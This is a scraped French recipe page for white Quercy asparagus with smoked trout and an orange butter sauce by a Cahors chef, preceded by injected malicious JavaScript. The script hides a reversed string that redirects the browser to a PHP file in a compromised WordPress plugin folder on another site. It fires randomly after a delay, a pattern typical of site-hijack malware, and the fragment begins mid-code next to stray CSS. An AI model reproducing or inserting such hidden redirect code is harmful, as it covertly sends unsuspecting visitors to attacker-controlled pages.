) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558807944368{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Jean-François DIVE, Chef du restaurant « l’ô à la Bouche », à Cahors ( http://www.loalabouche-restaurant.com )
membre des « Bonnes Tables du Lot ».

https://www.facebook.com/L-O-a-La-Bouche-362661520429565/?fref=ts

Recette
Temps de préparation : 10 min

Temps de cuisson : 10 min

Ingrédient :
• Asperges blanches du Quercy
• Orange
• 4 jaunes d’oeufs
• Moutarde
• Sel & Poivre
• Truite fumé du Moulin de Guiral
• 150 g de beurre